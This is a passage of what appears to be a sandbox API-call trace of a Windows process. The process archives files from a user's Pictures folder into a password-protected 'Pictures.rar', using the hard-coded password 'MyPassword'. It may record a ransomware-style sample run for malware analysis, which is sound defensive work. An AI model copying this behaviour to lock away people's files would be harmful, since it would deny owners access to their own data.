dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.640] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.640] GetTickCount () returned 0x26509 [0065.640] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.640] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.640] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.640] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.640] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0065.640] SetWindowTextW (hWnd=0x102c6, lpString="sj6 1xhDAi0ypw.jpg") returned 1 [0065.641] GetTickCount () returned 0x26509 [0065.641] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.641] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.641] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.641] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.641] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x83)) [0065.641] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.641] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15697000690) returned 1 [0065.641] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x594d, lpOverlapped=0x0) returned 1 [0065.642] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71198d, nNumberOfBytesToRead=0xfa6b3, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b71198d*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.642] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0065.642] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.642] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9de0 [0065.642] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6f50 [0065.642] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fae0 [0065.642] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fae0, Size=0x48) returned 0x28b084f98e0 [0065.642] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6f50 | out: hHeap=0x28b08430000) returned 1 [0065.642] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0065.642] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.642] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0065.642] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0065.642] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.642] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd50, Size=0x48) returned 0x28b084f9de0 [0065.642] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9de0, Size=0x7a) returned 0x28b084ed520 [0065.642] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0065.642] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed520 | out: hHeap=0x28b08430000) returned 1 [0065.642] GetTickCount () returned 0x26509 [0065.642] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15697063711) returned 1 [0065.642] GetTickCount () returned 0x26509 [0065.642] GetTickCount () returned 0x26509 [0065.642] GetTickCount () returned 0x26509 [0065.642] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.642] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.642] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.643] ResetEvent (hEvent=0x344) returned 1 [0065.643] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.962] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.962] ResetEvent (hEvent=0x344) returned 1 [0065.962] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.963] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.963] GetTickCount () returned 0x26642 [0065.963] GetLastError () returned 0x0 [0065.963] SetLastError (dwErrCode=0x0) [0065.963] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0065.963] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0065.963] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.963] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.964] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15729309834) returned 1 [0065.965] GetTickCount () returned 0x26651 [0065.965] GetTickCount () returned 0x26651 [0065.965] GetTickCount () returned 0x26651 [0065.965] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd068 | out: ppv=0xf00f8dd068*=0x28b0a22fc00) returned 0x0 [0065.965] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22fc00, hwnd=0x102be, tbpFlags=2) returned 0x0 [0065.965] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22fc00, hwnd=0x102be, ullCompleted=0x18b8c8, ullTotal=0x2141be) returned 0x0 [0065.966] TaskbarList:IUnknown:Release (This=0x28b0a22fc00) returned 0x0 [0065.966] GetLastError () returned 0x36b7 [0065.966] SetLastError (dwErrCode=0x36b7) [0065.966] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0065.966] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0065.966] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 73%") returned 5 [0065.966] SetWindowTextW (hWnd=0x102de, lpString=" 74%") returned 1 [0065.966] GetLastError () returned 0x0 [0065.966] SetLastError (dwErrCode=0x0) [0065.966] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0065.966] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 94%") returned 5 [0065.966] SetWindowTextW (hWnd=0x102da, lpString=" 98%") returned 1 [0065.967] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x4a, lParam=0x0) returned 0x49 [0065.968] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.972] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.975] GetFocus () returned 0x102e2 [0065.975] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.975] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.975] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.975] GetFocus () returned 0x102e2 [0065.975] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.976] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.976] ResetEvent (hEvent=0x33c) returned 1 [0065.976] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.976] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.976] ResetEvent (hEvent=0x33c) returned 1 [0065.976] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.977] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.977] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.977] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x187897 [0065.977] SetFilePointer (in: hFile=0x32c, lDistanceToMove=102, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1878fd [0065.977] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.977] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.977] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.977] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.977] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x59a0, lpOverlapped=0x0) returned 1 [0065.978] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.978] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.978] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1603735, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x187897 [0065.978] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x187897 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f98e0 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9c00 [0065.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0065.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0065.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f9480 [0065.978] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9480, Size=0x7a) returned 0x28b084ed910 [0065.978] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed913*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed913*, lpNumberOfBytesWritten=0xf00f8d8070*=0x66, lpOverlapped=0x0) returned 1 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.978] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x66) returned 0x28b0c0fffa0 [0065.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9c00 | out: hHeap=0x28b08430000) returned 1 [0065.978] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed910 | out: hHeap=0x28b08430000) returned 1 [0065.978] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x18d29d [0065.979] CloseHandle (hObject=0x350) returned 1 [0065.979] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.979] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.979] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.979] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.979] FindFirstFileW (in: lpFileName="svWwwq0D.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee3d0 [0065.979] FindClose (in: hFindFile=0x28b0c0ee3d0 | out: hFindFile=0x28b0c0ee3d0) returned 1 [0065.979] CreateFileW (lpFileName="svWwwq0D.png" (normalized: "c:\\users\\fd1hvy\\pictures\\svwwwq0d.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.979] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.979] GetTickCount () returned 0x26651 [0065.980] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.980] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.980] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.980] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.980] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="sj6 1xhDAi0ypw.jpg") returned 18 [0065.980] SetWindowTextW (hWnd=0x102c6, lpString="svWwwq0D.png") returned 1 [0065.980] GetTickCount () returned 0x26661 [0065.980] UpdateWindow (hWnd=0x102be) returned 1 [0065.981] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.981] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.981] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.981] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.981] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x1db)) [0065.981] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.981] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15730959815) returned 1 [0065.981] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x1688b, lpOverlapped=0x0) returned 1 [0065.981] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b7228cb, nNumberOfBytesToRead=0xe9775, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b7228cb*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.981] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.981] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.981] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.981] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.981] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9980 [0065.981] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.982] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.982] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9520 [0065.982] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.982] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0065.982] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.982] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0065.982] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0065.982] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0065.982] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9d40 [0065.982] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9d40, Size=0x7a) returned 0x28b084ed370 [0065.982] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0065.982] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed370 | out: hHeap=0x28b08430000) returned 1 [0065.982] GetTickCount () returned 0x26661 [0065.982] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15731095609) returned 1 [0065.982] GetTickCount () returned 0x26661 [0065.982] GetTickCount () returned 0x26661 [0065.982] GetTickCount () returned 0x26661 [0065.982] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.982] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.982] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.983] ResetEvent (hEvent=0x344) returned 1 [0065.983] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.984] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.984] ResetEvent (hEvent=0x344) returned 1 [0065.984] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.986] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.986] ResetEvent (hEvent=0x344) returned 1 [0065.986] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.989] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.989] GetTickCount () returned 0x26661 [0065.989] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15731757621) returned 1 [0065.989] GetTickCount () returned 0x26661 [0065.989] GetTickCount () returned 0x26661 [0065.989] GetTickCount () returned 0x26661 [0065.989] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.989] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.989] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.989] ResetEvent (hEvent=0x33c) returned 1 [0065.989] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.990] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.990] ResetEvent (hEvent=0x33c) returned 1 [0065.990] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.991] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.991] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.991] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.991] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x18d29d [0065.991] SetFilePointer (in: hFile=0x32c, lDistanceToMove=96, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x18d2fd [0065.991] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.991] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.991] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.991] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.991] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x16950, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x16950, lpOverlapped=0x0) returned 1 [0065.992] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.992] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.992] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1626781, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x18d29d [0065.993] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x18d29d [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.993] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0065.993] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, 